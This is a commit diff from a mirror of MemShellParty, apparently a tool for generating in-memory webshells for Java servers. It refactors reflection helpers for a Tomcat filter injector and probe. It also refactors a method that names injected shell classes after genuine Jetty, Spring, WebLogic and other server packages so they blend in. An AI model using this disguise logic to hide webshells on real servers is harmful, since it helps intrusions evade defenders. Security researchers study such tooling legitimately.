mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: use commonUtil for packageName
This commit is contained in:
+3
-7
@@ -278,13 +278,9 @@ public class TomcatFilterInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
try {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
return null;
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
|
||||
|
||||
+7
-6
@@ -42,7 +42,6 @@ public class TomcatFilterProbe {
|
||||
if (filterMaps == null || filterMaps.length == 0) return Collections.emptyList();
|
||||
|
||||
Object[] filterDefs = (Object[]) invokeMethod(context, "findFilterDefs");
|
||||
Map<?, ?> filterConfigs = (Map<?, ?>) getFieldValue(context, "filterConfigs");
|
||||
|
||||
for (Object fm : filterMaps) {
|
||||
String name = (String) invokeMethod(fm, "getFilterName");
|
||||
@@ -53,8 +52,8 @@ public class TomcatFilterProbe {
|
||||
for (Object def : filterDefs) {
|
||||
if (!name.equals(invokeMethod(def, "getFilterName"))) continue;
|
||||
String cls = (String) invokeMethod(def, "getFilterClass");
|
||||
if ((cls == null || "N/A".equals(cls)) && filterConfigs != null) {
|
||||
Object config = filterConfigs.get(name);
|
||||
if (cls == null) {
|
||||
Object config = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
|
||||
Object filter = config != null ? invokeMethod(config, "getFilter") : null;
|
||||
if (filter != null) cls = filter.getClass().getName();
|
||||
}
|
||||
@@ -194,10 +193,12 @@ public class TomcatFilterProbe {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object obj, String methodName){
|
||||
return invokeMethod(obj, methodName, null, null);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) {
|
||||
Class<?>[] paramClazz = null;
|
||||
Object[] param = null;
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
@@ -111,38 +111,35 @@ public class CommonUtil {
|
||||
return className + "$Proxy0$$Lambda$1";
|
||||
}
|
||||
|
||||
public static String generateShellClassName(String server, String shellType) {
|
||||
String packageName;
|
||||
public static String getWebPackageNameForServer(String server) {
|
||||
switch (server) {
|
||||
case Jetty:
|
||||
packageName = "org.eclipse.jetty.servlet.handlers";
|
||||
break;
|
||||
return "org.eclipse.jetty.servlet.handlers";
|
||||
case Undertow:
|
||||
packageName = "io.undertow.servlet.handlers";
|
||||
break;
|
||||
return "io.undertow.servlet.handlers";
|
||||
case SpringWebMvc:
|
||||
packageName = "org.springframework.boot.mvc.handlers";
|
||||
break;
|
||||
return "org.springframework.boot.mvc.handlers";
|
||||
case SpringWebFlux:
|
||||
packageName = "org.springframework.boot.webflux.handlers";
|
||||
break;
|
||||
return "org.springframework.boot.webflux.handlers";
|
||||
case WebSphere:
|
||||
packageName = "com.ibm.ws.webcontainer.handlers";
|
||||
break;
|
||||
return "com.ibm.ws.webcontainer.handlers";
|
||||
case WebLogic:
|
||||
packageName = "weblogic.servlet.internal.handlers";
|
||||
break;
|
||||
return "weblogic.servlet.internal.handlers";
|
||||
case Resin:
|
||||
packageName = "com.caucho.server.dispatch.handlers";
|
||||
break;
|
||||
return "com.caucho.server.dispatch.handlers";
|
||||
case BES:
|
||||
packageName = "com.bes.enterprise.webtier.web.handlers";
|
||||
break;
|
||||
return "com.bes.enterprise.webtier.web.handlers";
|
||||
case Apusic:
|
||||
return "com.apusic.web.handlers";
|
||||
case InforSuite:
|
||||
return "com.cvicse.inforsuite.web.handlers";
|
||||
default:
|
||||
packageName = "org.apache.http.web.handlers";
|
||||
break;
|
||||
return "org.apache.http.web.handlers";
|
||||
}
|
||||
return packageName
|
||||
}
|
||||
|
||||
public static String generateShellClassName(String server, String shellType) {
|
||||
return getWebPackageNameForServer(server)
|
||||
+ "." + getRandomString(5)
|
||||
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user